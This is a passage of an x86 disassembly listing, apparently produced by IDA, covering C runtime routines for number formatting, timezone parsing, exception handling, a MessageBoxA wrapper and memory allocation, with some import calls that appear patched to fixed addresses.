mov [ebp+arg_4], eax jnz short loc_424329 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42435B: ; CODE XREF: sub_4242F3+86j cmp ebx, edi jl short loc_42436E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424375 ; --------------------------------------------------------------------------- loc_42436E: ; CODE XREF: sub_4242F3+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424375: ; CODE XREF: sub_4242F3+79j dec ebx sub ecx, 4 jns short loc_42435B pop edi pop esi pop ebx leave retn sub_4242F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_4244EC+Dp ; sub_424502+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_4243ED lea eax, [ebp+var_C] xor esi, esi push eax call sub_4242D8 test eax, eax pop ecx jnz loc_4244AC lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx loc_4243E5: ; CODE XREF: sub_424380+E4j push 2 loc_4243E7: ; CODE XREF: sub_424380+110j pop eax jmp loc_4244AE ; --------------------------------------------------------------------------- loc_4243ED: ; CODE XREF: sub_424380+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_4242B1 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 add esp, 10h test eax, eax jz short loc_42440E inc ebx loc_42440E: ; CODE XREF: sub_424380+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_424426 lea eax, [ebp+var_C] push eax call sub_4242CC pop ecx jmp short loc_424462 ; --------------------------------------------------------------------------- loc_424426: ; CODE XREF: sub_424380+98j cmp ebx, eax jg short loc_424469 sub eax, ebx mov esi, eax lea eax, [ebp+var_18] push eax lea eax, [ebp+var_C] push eax call sub_4242B1 lea eax, [ebp+var_C] push esi push eax call sub_4242F3 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_424225 mov eax, [edi+0Ch] inc eax push eax lea eax, [ebp+var_C] push eax call sub_4242F3 add esp, 20h loc_424462: ; CODE XREF: sub_424380+A4j xor esi, esi jmp loc_4243E5 ; --------------------------------------------------------------------------- loc_424469: ; CODE XREF: sub_424380+A8j cmp ebx, [edi] jl short loc_424495 lea eax, [ebp+var_C] push eax call sub_4242CC push dword ptr [edi+0Ch] or byte ptr [ebp+var_C+3], 80h lea eax, [ebp+var_C] push eax call sub_4242F3 mov esi, [edi+14h] add esp, 0Ch add esi, [edi] push 1 jmp loc_4243E7 ; --------------------------------------------------------------------------- loc_424495: ; CODE XREF: sub_424380+EBj push dword ptr [edi+0Ch] mov esi, [edi+14h] and byte ptr [ebp+var_C+3], 7Fh lea eax, [ebp+var_C] push eax add esi, ebx call sub_4242F3 pop ecx pop ecx loc_4244AC: ; CODE XREF: sub_424380+55j xor eax, eax loc_4244AE: ; CODE XREF: sub_424380+68j push 1Fh pop ecx sub ecx, [edi+0Ch] mov edi, [edi+10h] shl esi, cl mov ecx, [ebp+arg_0] neg ecx sbb ecx, ecx and ecx, 80000000h or esi, ecx or esi, [ebp+var_C] cmp edi, 40h jnz short loc_4244DD mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx+4], esi mov [ecx], edx jmp short loc_4244E7 ; --------------------------------------------------------------------------- loc_4244DD: ; CODE XREF: sub_424380+14Ej cmp edi, 20h jnz short loc_4244E7 mov ecx, [ebp+arg_4] mov [ecx], esi loc_4244E7: ; CODE XREF: sub_424380+15Bj ; sub_424380+160j pop edi pop esi pop ebx leave retn sub_424380 endp ; =============== S U B R O U T I N E ======================================= sub_4244EC proc near ; CODE XREF: sub_424518+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC78 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_4244EC endp ; =============== S U B R O U T I N E ======================================= sub_424502 proc near ; CODE XREF: sub_424545+23p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push offset dword_43CC90 push [esp+4+arg_4] push [esp+8+arg_0] call sub_424380 add esp, 0Ch retn sub_424502 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424518 proc near ; CODE XREF: sub_42199B+12p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_4244EC add esp, 24h leave retn sub_424518 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424545 proc near ; CODE XREF: sub_42199B+2Dp var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch xor eax, eax push eax push eax push eax push eax push [ebp+arg_4] lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_C] push eax call sub_4251F1 push [ebp+arg_0] lea eax, [ebp+var_C] push eax call sub_424502 add esp, 24h leave retn sub_424545 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424572 proc near ; CODE XREF: sub_4219D9+65p ; sub_421ADD+63p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_8] push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov ecx, [edx+0Ch] push edi lea edi, [esi+1] mov byte ptr [esi], 30h test ebx, ebx mov eax, edi jle short loc_4245AF mov [ebp+arg_0], ebx xor ebx, ebx loc_424595: ; CODE XREF: sub_424572+38j mov dl, [ecx] test dl, dl jz short loc_4245A1 movsx edx, dl inc ecx jmp short loc_4245A4 ; --------------------------------------------------------------------------- loc_4245A1: ; CODE XREF: sub_424572+27j push 30h pop edx loc_4245A4: ; CODE XREF: sub_424572+2Dj mov [eax], dl inc eax dec [ebp+arg_0] jnz short loc_424595 mov edx, [ebp+arg_8] loc_4245AF: ; CODE XREF: sub_424572+1Cj and byte ptr [eax], 0 test ebx, ebx jl short loc_4245C8 cmp byte ptr [ecx], 35h jl short loc_4245C8 loc_4245BB: ; CODE XREF: sub_424572+52j dec eax cmp byte ptr [eax], 39h jnz short loc_4245C6 mov byte ptr [eax], 30h jmp short loc_4245BB ; --------------------------------------------------------------------------- loc_4245C6: ; CODE XREF: sub_424572+4Dj inc byte ptr [eax] loc_4245C8: ; CODE XREF: sub_424572+42j ; sub_424572+47j cmp byte ptr [esi], 31h jnz short loc_4245D2 inc dword ptr [edx+4] jmp short loc_4245E4 ; --------------------------------------------------------------------------- loc_4245D2: ; CODE XREF: sub_424572+59j push edi call sub_41AFE0 inc eax push eax push edi push esi call sub_41CC90 add esp, 10h loc_4245E4: ; CODE XREF: sub_424572+5Ej pop edi pop esi pop ebx pop ebp retn sub_424572 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4245E9 proc near ; CODE XREF: sub_4219D9+3Fp ; sub_421ADD+46p ... var_C = byte ptr -0Ch arg_0 = byte ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi lea eax, [ebp+arg_0] push edi push eax lea eax, [ebp+var_C] push eax call sub_42464D pop ecx lea esi, [ebp+var_C] pop ecx push offset word_4DB470 push 0 push 11h sub esp, 0Ch mov edi, esp movsd movsd movsw call sub_4256C2 mov dword_4DB498, eax add esp, 18h movsx eax, byte_4DB472 mov dword_4DB490, eax pop edi movsx eax, word_4DB470 mov dword_4DB494, eax mov dword_4DB49C, offset dword_4DB474 mov eax, offset dword_4DB490 pop esi leave retn sub_4245E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42464D proc near ; CODE XREF: sub_4245E9+10p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov edx, [ebp+arg_4] push ebx push esi push edi mov ax, [edx+6] mov edi, 7FFh mov ecx, eax and eax, 8000h shr ecx, 4 and ecx, edi mov [ebp+arg_4], eax mov eax, [edx+4] mov edx, [edx] movzx ebx, cx mov esi, 80000000h and eax, 0FFFFFh test ebx, ebx mov [ebp+var_4], esi jz short loc_42469B cmp ebx, edi jz short loc_424694 lea edi, [ecx+3C00h] jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_424694: ; CODE XREF: sub_42464D+3Dj mov edi, 7FFFh jmp short loc_4246BC ; --------------------------------------------------------------------------- loc_42469B: ; CODE XREF: sub_42464D+39j xor ebx, ebx cmp eax, ebx jnz short loc_4246B3 cmp edx, ebx jnz short loc_4246B3 mov eax, [ebp+arg_0] mov [eax+4], ebx mov [eax], ebx mov [eax+8], bx jmp short loc_4246FE ; --------------------------------------------------------------------------- loc_4246B3: ; CODE XREF: sub_42464D+52j ; sub_42464D+56j lea edi, [ecx+3C01h] mov [ebp+var_4], ebx loc_4246BC: ; CODE XREF: sub_42464D+45j ; sub_42464D+4Cj mov ecx, edx shr ecx, 15h shl eax, 0Bh or ecx, eax mov eax, [ebp+arg_0] or ecx, [ebp+var_4] shl edx, 0Bh mov [eax+4], ecx mov [eax], edx loc_4246D4: ; CODE XREF: sub_42464D+A6j test ecx, esi jnz short loc_4246F5 mov edx, [eax] add ecx, ecx mov ebx, edx shr ebx, 1Fh or ebx, ecx lea ecx, [edx+edx] mov [eax], ecx mov [eax+4], ebx add edi, 0FFFFh mov ecx, ebx jmp short loc_4246D4 ; --------------------------------------------------------------------------- loc_4246F5: ; CODE XREF: sub_42464D+89j mov ecx, [ebp+arg_4] or ecx, edi mov [eax+8], cx loc_4246FE: ; CODE XREF: sub_42464D+64j pop edi pop esi pop ebx leave retn sub_42464D endp ; --------------------------------------------------------------------------- push 2 call sub_41DA29 pop ecx retn ; =============== S U B R O U T I N E ======================================= sub_42470C proc near ; DATA XREF: ___:0043C8B8o ; ___:0043D118o arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi] cmp dword ptr [eax], 0E06D7363h jnz short loc_42472F cmp dword ptr [eax+10h], 3 jnz short loc_42472F cmp dword ptr [eax+14h], 19930520h jnz short loc_42472F jmp sub_42255C ; --------------------------------------------------------------------------- loc_42472F: ; CODE XREF: sub_42470C+Dj ; sub_42470C+13j ... mov eax, dword_4DB4A0 test eax, eax jz short loc_42474C push eax call sub_4247A8 test eax, eax pop ecx jz short loc_42474C push esi call dword_4DB4A0 jmp short loc_42474E ; --------------------------------------------------------------------------- loc_42474C: ; CODE XREF: sub_42470C+2Aj ; sub_42470C+35j xor eax, eax loc_42474E: ; CODE XREF: sub_42470C+3Ej pop esi retn 4 sub_42470C endp ; --------------------------------------------------------------------------- word_424752 dw 0C68h ; DATA XREF: ___:00429028o ; --------------------------------------------------------------------------- inc edi inc edx add [eax+1EBCBBE8h], dl add ah, byte ptr dword_4DB4A0[ebx] retn ; --------------------------------------------------------------------------- byte_424763 db 0FFh ; DATA XREF: ___:00429040o dd 4DB4A035h, 0A9E89000h, 0C3021EBCh ; =============== S U B R O U T I N E ======================================= sub_424770 proc near ; CODE XREF: sub_421DB1+6Bp ; sub_4222C2+61p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] call near ptr 2610000h nop test eax, eax jz short loc_424788 xor esi, esi loc_424788: ; CODE XREF: sub_424770+14j mov eax, esi pop esi retn sub_424770 endp ; =============== S U B R O U T I N E ======================================= sub_42478C proc near ; CODE XREF: sub_4222C2+73p ; sub_4222C2+BFp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push 1 pop esi push [esp+4+arg_4] push [esp+8+arg_0] nop call near ptr 28A09CFh test eax, eax jz short loc_4247A4 xor esi, esi loc_4247A4: ; CODE XREF: sub_42478C+14j mov eax, esi pop esi retn sub_42478C endp ; =============== S U B R O U T I N E ======================================= sub_4247A8 proc near ; CODE XREF: sub_4222C2+15Bp ; sub_42470C+2Dp arg_0 = dword ptr 4 push esi push 1 pop esi push [esp+4+arg_0] call near ptr 2600C08h nop test eax, eax jz short loc_4247BC xor esi, esi loc_4247BC: ; CODE XREF: sub_4247A8+10j mov eax, esi pop esi retn sub_4247A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42255C loc_4247C0: ; CODE XREF: sub_42255C:loc_4225ADj push 0Ah call sub_4235C9 push 16h call sub_425955 pop ecx pop ecx push 3 call sub_41B7C2 ; END OF FUNCTION CHUNK FOR sub_42255C ; =============== S U B R O U T I N E ======================================= sub_4247D7 proc near ; CODE XREF: sub_422669:loc_4226A8p cmp dword_4DB560, 0 jnz short locret_4247EB call sub_4247EC inc dword_4DB560 locret_4247EB: ; CODE XREF: sub_4247D7+7j retn sub_4247D7 endp ; =============== S U B R O U T I N E ======================================= sub_4247EC proc near ; CODE XREF: sub_4247D7+9p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi xor ebp, ebp or ebx, 0FFFFFFFFh push offset aTz ; "TZ" xor edi, edi mov dword_4DB4A8, ebp mov dword_43CD50, ebx mov dword_43CD40, ebx call sub_425AC7 mov esi, eax pop ecx cmp esi, ebp jnz loc_424915 push offset dword_4DB4B0 call near ptr 2860000h nop cmp eax, ebx jz loc_424A44 mov eax, dword_4DB4B0 mov ecx, dword_4DB504 imul eax, 3Ch cmp word_4DB4F6, bp push 1 pop edx mov dword_43CCA8, eax mov dword_4DB4A8, edx jz short loc_424863 mov esi, ecx imul esi, 3Ch add eax, esi mov dword_43CCA8, eax loc_424863: ; CODE XREF: sub_4247EC+69j cmp word_4DB54A, bp jz short loc_424887 mov eax, dword_4DB558 cmp eax, ebp jz short loc_424887 sub eax, ecx mov dword_43CCAC, edx imul eax, 3Ch mov dword_43CCB0, eax jmp short loc_424893 ; --------------------------------------------------------------------------- loc_424887: ; CODE XREF: sub_4247EC+7Ej ; sub_4247EC+87j mov dword_43CCAC, ebp mov dword_43CCB0, ebp loc_424893: ; CODE XREF: sub_4247EC+99j lea eax, [esp+14h+var_4] mov esi, dword_42717C push eax push ebp push 3Fh mov edi, 220h push off_43CD34 push ebx push offset dword_4DB4B4 push edi push dword_4DB344 call esi test eax, eax jz short loc_4248D0 cmp [esp+14h+var_4], ebp jnz short loc_4248D0 mov eax, off_43CD34 and byte ptr [eax+3Fh], 0 jmp short loc_4248D8 ; --------------------------------------------------------------------------- loc_4248D0: ; CODE XREF: sub_4247EC+D1j ; sub_4247EC+D7j mov eax, off_43CD34 and byte ptr [eax], 0 loc_4248D8: ; CODE XREF: sub_4247EC+E2j lea eax, [esp+14h+var_4] push eax push ebp push 3Fh push off_43CD38 push ebx push offset dword_4DB508 push edi push dword_4DB344 call esi test eax, eax jz loc_424A3C cmp [esp+14h+var_4], ebp jnz loc_424A3C mov eax, off_43CD38 and byte ptr [eax+3Fh], 0 jmp loc_424A44 ; --------------------------------------------------------------------------- loc_424915: ; CODE XREF: sub_4247EC+2Dj cmp byte ptr [esi], 0 jz loc_424A44 mov eax, dword_4DB55C cmp eax, ebp jz short loc_424938 push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_424A44 loc_424938: ; CODE XREF: sub_4247EC+139j push dword_4DB55C call sub_41B0B1 push esi call sub_41AFE0 inc eax push eax call sub_41B4D5 add esp, 0Ch cmp eax, ebp mov dword_4DB55C, eax jz loc_424A44 push esi push eax call sub_41BEB0 push 3 push esi push off_43CD34 call sub_41B5F0 mov eax, off_43CD34 add esi, 3 add esp, 14h and byte ptr [eax+3], 0 cmp byte ptr [esi], 2Dh jnz short loc_42498D push 1 inc esi pop edi loc_42498D: ; CODE XREF: sub_4247EC+19Bj push esi call sub_41B6EE pop ecx mov bl, 30h mov ecx, eax imul ecx, 0E10h mov dword_43CCA8, ecx loc_4249A4: ; CODE XREF: sub_4247EC+1C7j mov al, [esi] cmp al, 2Bh jz short loc_4249B2 cmp al, bl jl short loc_4249B5 cmp al, 39h jg short loc_4249B5 loc_4249B2: ; CODE XREF: sub_4247EC+1BCj inc esi jmp short loc_4249A4 ; --------------------------------------------------------------------------- loc_4249B5: ; CODE XREF: sub_4247EC+1C0j ; sub_4247EC+1C4j cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE imul eax, 3Ch pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249D3: ; CODE XREF: sub_4247EC+1F2j mov al, [esi] cmp al, bl jl short loc_4249E0 cmp al, 39h jg short loc_4249E0 inc esi jmp short loc_4249D3 ; --------------------------------------------------------------------------- loc_4249E0: ; CODE XREF: sub_4247EC+1EBj ; sub_4247EC+1EFj cmp byte ptr [esi], 3Ah jnz short loc_424A08 inc esi push esi call sub_41B6EE pop ecx mov ecx, dword_43CCA8 add ecx, eax mov dword_43CCA8, ecx loc_4249FB: ; CODE XREF: sub_4247EC+21Aj mov al, [esi] cmp al, bl jl short loc_424A08 cmp al, 39h jg short loc_424A08 inc esi jmp short loc_4249FB ; --------------------------------------------------------------------------- loc_424A08: ; CODE XREF: sub_4247EC+1CCj ; sub_4247EC+1F7j ... cmp edi, ebp jz short loc_424A14 neg ecx mov dword_43CCA8, ecx loc_424A14: ; CODE XREF: sub_4247EC+21Ej movsx eax, byte ptr [esi] cmp eax, ebp mov dword_43CCAC, eax jz short loc_424A3C push 3 push esi push off_43CD38 call sub_41B5F0 mov eax, off_43CD38 add esp, 0Ch and byte ptr [eax+3], 0 jmp short loc_424A44 ; --------------------------------------------------------------------------- loc_424A3C: ; CODE XREF: sub_4247EC+10Bj ; sub_4247EC+115j ... mov eax, off_43CD38 and byte ptr [eax], 0 loc_424A44: ; CODE XREF: sub_4247EC+40j ; sub_4247EC+124j ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4247EC endp ; =============== S U B R O U T I N E ======================================= sub_424A4A proc near ; CODE XREF: sub_422669+A5p arg_0 = dword ptr 4 push ebx push esi push edi xor edi, edi cmp dword_43CCAC, edi jnz short loc_424A5E loc_424A57: ; CODE XREF: sub_424A4A+148j ; sub_424A4A+150j ... xor eax, eax jmp loc_424BAA ; --------------------------------------------------------------------------- loc_424A5E: ; CODE XREF: sub_424A4A+Bj mov esi, [esp+0Ch+arg_0] push 1 pop ebx mov eax, [esi+14h] cmp eax, dword_43CD40 jnz short loc_424A7C cmp eax, dword_43CD50 jz loc_424B7E loc_424A7C: ; CODE XREF: sub_424A4A+24j cmp dword_4DB4A8, edi jz loc_424B54 movzx ecx, word_4DB556 push ecx cmp word_4DB548, di movzx ecx, word_4DB554 push ecx movzx ecx, word_4DB552 push ecx movzx ecx, word_4DB550 push ecx jnz short loc_424ACE movzx ecx, word_4DB54C push edi push ecx movzx ecx, word_4DB54E push ecx movzx ecx, word_4DB54A push ecx push eax push ebx jmp short loc_424AE2 ; --------------------------------------------------------------------------- loc_424ACE: ; CODE XREF: sub_424A4A+65j movzx ecx, word_4DB54E push ecx push edi movzx ecx, word_4DB54A push edi push ecx push eax push edi loc_424AE2: ; CODE XREF: sub_424A4A+82j push ebx call sub_424BF6 movzx eax, word_4DB502 add esp, 2Ch cmp word_4DB4F4, di push eax movzx eax, word_4DB500 push eax movzx eax, word_4DB4FE push eax movzx eax, word_4DB4FC push eax jnz short loc_424B3C movzx eax, word_4DB4F8 push edi push eax movzx eax, word_4DB4FA push eax movzx eax, word_4DB4F6 push eax push dword ptr [esi+14h] push ebx loc_424B31: ; CODE XREF: sub_424A4A+108j push edi call sub_424BF6 add esp, 2Ch jmp short loc_424B7E ; --------------------------------------------------------------------------- loc_424B3C: ; CODE XREF: sub_424A4A+C8j movzx eax, word_4DB4FA push eax push edi movzx eax, word_4DB4F6 push edi push eax push dword ptr [esi+14h] push edi jmp short loc_424B31 ; --------------------------------------------------------------------------- loc_424B54: ; CODE XREF: sub_424A4A+38j push edi push edi push edi push 2 push edi push edi push ebx push 4 push eax push ebx push ebx call sub_424BF6 push edi push edi push edi push 2 push edi push edi push 5 push 0Ah push dword ptr [esi+14h] push ebx push edi call sub_424BF6 add esp, 58h loc_424B7E: ; CODE XREF: sub_424A4A+2Cj ; sub_424A4A+F0j mov edx, dword_43CD44 mov eax, dword_43CD54 mov ecx, [esi+1Ch] cmp edx, eax jge short loc_424BAE cmp ecx, edx jl loc_424A57 cmp ecx, eax jg loc_424A57 cmp ecx, edx jle short loc_424BC2 cmp ecx, eax jge short loc_424BC2 loc_424BA8: ; CODE XREF: sub_424A4A+166j ; sub_424A4A+16Aj mov eax, ebx loc_424BAA: ; CODE XREF: sub_424A4A+Fj ; sub_424A4A+19Dj pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424BAE: ; CODE XREF: sub_424A4A+144j cmp ecx, eax jl short loc_424BA8 cmp ecx, edx jg short loc_424BA8 cmp ecx, eax jle short loc_424BC2 cmp ecx, edx jl loc_424A57 loc_424BC2: ; CODE XREF: sub_424A4A+158j ; sub_424A4A+15Cj ... mov eax, [esi+8] imul eax, 3Ch add eax, [esi+4] imul eax, 3Ch add eax, [esi] imul eax, 3E8h cmp ecx, edx jnz short loc_424BE9 xor ecx, ecx cmp eax, dword_43CD48 setnl cl loc_424BE5: ; CODE XREF: sub_424A4A+1AAj mov eax, ecx jmp short loc_424BAA ; --------------------------------------------------------------------------- loc_424BE9: ; CODE XREF: sub_424A4A+18Ej xor ecx, ecx cmp eax, dword_43CD58 setl cl jmp short loc_424BE5 sub_424A4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424BF6 proc near ; CODE XREF: sub_424A4A+99p ; sub_424A4A+E8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp cmp [ebp+arg_4], 1 push ebx mov ebx, [ebp+arg_8] push esi jnz loc_424C91 mov eax, [ebp+arg_C] mov [ebp+arg_8], ebx and [ebp+arg_8], 3 mov esi, eax jnz short loc_424C21 shl esi, 2 mov eax, dword_43CD58[esi] jmp short loc_424C2A ; --------------------------------------------------------------------------- loc_424C21: ; CODE XREF: sub_424BF6+1Ej shl esi, 2 mov eax, dword_43CD8C[esi] loc_424C2A: ; CODE XREF: sub_424BF6+29j mov edx, ebx lea ecx, [eax+1] imul edx, 16Dh lea eax, [ebx-1] push edi sar eax, 2 mov edi, ecx push 7 add edi, eax lea eax, [edx+edi-63DBh] pop edi cdq idiv edi mov eax, [ebp+arg_10] pop edi cmp edx, [ebp+arg_14] jg short loc_424C64 imul eax, 7 sub eax, edx add eax, [ebp+arg_14] lea ecx, [ecx+eax-7] jmp short loc_424C6E ; --------------------------------------------------------------------------- loc_424C64: ; CODE XREF: sub_424BF6+5Ej imul eax, 7 sub eax, edx add eax, [ebp+arg_14] add ecx, eax loc_424C6E: ; CODE XREF: sub_424BF6+6Cj cmp [ebp+arg_10], 5 jnz short loc_424CAC cmp [ebp+arg_8], 0 jnz short loc_424C82 mov esi, dword_43CD5C[esi] jmp short loc_424C88 ; --------------------------------------------------------------------------- loc_424C82: ; CODE XREF: sub_424BF6+82j mov esi, dword_43CD90[esi] loc_424C88: ; CODE XREF: sub_424BF6+8Aj cmp ecx, esi jle short loc_424CAC sub ecx, 7 jmp short loc_424CAC ; --------------------------------------------------------------------------- loc_424C91: ; CODE XREF: sub_424BF6+Cj mov eax, [ebp+arg_C] test bl, 3 jnz short loc_424CA2 mov ecx, dword_43CD58[eax*4] jmp short loc_424CA9 ; --------------------------------------------------------------------------- loc_424CA2: ; CODE XREF: sub_424BF6+A1j mov ecx, dword_43CD8C[eax*4] loc_424CA9: ; CODE XREF: sub_424BF6+AAj add ecx, [ebp+arg_18] loc_424CAC: ; CODE XREF: sub_424BF6+7Cj ; sub_424BF6+94j ... cmp [ebp+arg_0], 1 jnz short loc_424CDD mov eax, [ebp+arg_1C] mov dword_43CD44, ecx imul eax, 3Ch add eax, [ebp+arg_20] mov dword_43CD40, ebx imul eax, 3Ch add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD48, eax jmp short loc_424D32 ; --------------------------------------------------------------------------- loc_424CDD: ; CODE XREF: sub_424BF6+BAj mov eax, [ebp+arg_1C] mov dword_43CD54, ecx imul eax, 3Ch add eax, [ebp+arg_20] imul eax, 3Ch add eax, dword_43CCB0 add eax, [ebp+arg_24] imul eax, 3E8h add eax, [ebp+arg_28] mov dword_43CD58, eax jns short loc_424D15 add eax, 5265C00h dec ecx mov dword_43CD58, eax jmp short loc_424D26 ; --------------------------------------------------------------------------- loc_424D15: ; CODE XREF: sub_424BF6+110j mov edx, 5265C00h cmp eax, edx jl short loc_424D2C sub eax, edx inc ecx mov dword_43CD58, eax loc_424D26: ; CODE XREF: sub_424BF6+11Dj mov dword_43CD54, ecx loc_424D2C: ; CODE XREF: sub_424BF6+126j mov dword_43CD50, ebx loc_424D32: ; CODE XREF: sub_424BF6+E5j pop esi pop ebx pop ebp retn sub_424BF6 endp ; =============== S U B R O U T I N E ======================================= sub_424D36 proc near ; CODE XREF: ___:00422E9Dp arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_424D47 add esp, 0Ch retn sub_424D36 endp ; =============== S U B R O U T I N E ======================================= sub_424D47 proc near ; CODE XREF: sub_424D36+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_4DC7E1[eax], cl jnz short loc_424D74 cmp [esp+arg_4], 0 jz short loc_424D6D movzx eax, word_43C302[eax*2] and eax, [esp+arg_4] jmp short loc_424D6F ; --------------------------------------------------------------------------- loc_424D6D: ; CODE XREF: sub_424D47+16j xor eax, eax loc_424D6F: ; CODE XREF: sub_424D47+24j test eax, eax jnz short loc_424D74 retn ; --------------------------------------------------------------------------- loc_424D74: ; CODE XREF: sub_424D47+Fj ; sub_424D47+2Aj push 1 pop eax retn sub_424D47 endp ; =============== S U B R O U T I N E ======================================= sub_424D78 proc near ; CODE XREF: sub_4235C9+11Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx xor ebx, ebx cmp dword_4DB564, ebx push esi push edi jnz short loc_424DC7 push offset aUser32_dll ; "user32.dll" nop call near ptr 26B0C66h mov edi, eax cmp edi, ebx jz short loc_424DFD mov esi, dword_4270BC push offset aMessageboxa ; "MessageBoxA" push edi call esi test eax, eax mov dword_4DB564, eax jz short loc_424DFD push offset aGetactivewindo ; "GetActiveWindow" push edi call esi push offset aGetlastactivep ; "GetLastActivePopup" push edi mov dword_4DB568, eax call esi mov dword_4DB56C, eax loc_424DC7: ; CODE XREF: sub_424D78+Bj mov eax, dword_4DB568 test eax, eax jz short loc_424DE6 call eax mov ebx, eax test ebx, ebx jz short loc_424DE6 mov eax, dword_4DB56C test eax, eax jz short loc_424DE6 push ebx call eax mov ebx, eax loc_424DE6: ; CODE XREF: sub_424D78+56j ; sub_424D78+5Ej ... push [esp+0Ch+arg_8] push [esp+10h+arg_4] push [esp+14h+arg_0] push ebx call dword_4DB564 loc_424DF9: ; CODE XREF: sub_424D78+87j pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424DFD: ; CODE XREF: sub_424D78+1Cj ; sub_424D78+33j xor eax, eax jmp short loc_424DF9 sub_424D78 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424E01 proc near ; CODE XREF: sub_423936+22p ; sub_423936+3Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] imul esi, [ebp+arg_4] cmp esi, 0FFFFFFE0h push edi mov [ebp+arg_0], esi ja short loc_424E22 test esi, esi jnz short loc_424E1C push 1 pop esi loc_424E1C: ; CODE XREF: sub_424E01+16j add esi, 0Fh and esi, 0FFFFFFF0h loc_424E22: ; CODE XREF: sub_424E01+12j ; sub_424E01+94j xor edi, edi cmp esi, 0FFFFFFE0h ja short loc_424E81 mov eax, dword_4DC908 cmp eax, 3 jnz short loc_424E4D mov eax, [ebp+arg_0] cmp eax, dword_4DC900 ja short loc_424E6C push eax call sub_41E1CB mov edi, eax pop ecx test edi, edi jnz short loc_424E97 jmp short loc_424E6C ; --------------------------------------------------------------------------- loc_424E4D: ; CODE XREF: sub_424E01+30j cmp eax, 2 jnz short loc_424E6C cmp esi, dword_43C2F4 ja short loc_424E6C mov eax, esi shr eax, 4 push eax call sub_41EC6E mov edi, eax pop ecx test edi, edi jnz short loc_424EAB loc_424E6C: ; CODE XREF: sub_424E01+3Bj ; sub_424E01+4Aj ... push esi push 8 push dword_4DC904 nop call near ptr 27C0000h mov edi, eax test edi, edi jnz short loc_424EA5 loc_424E81: ; CODE XREF: 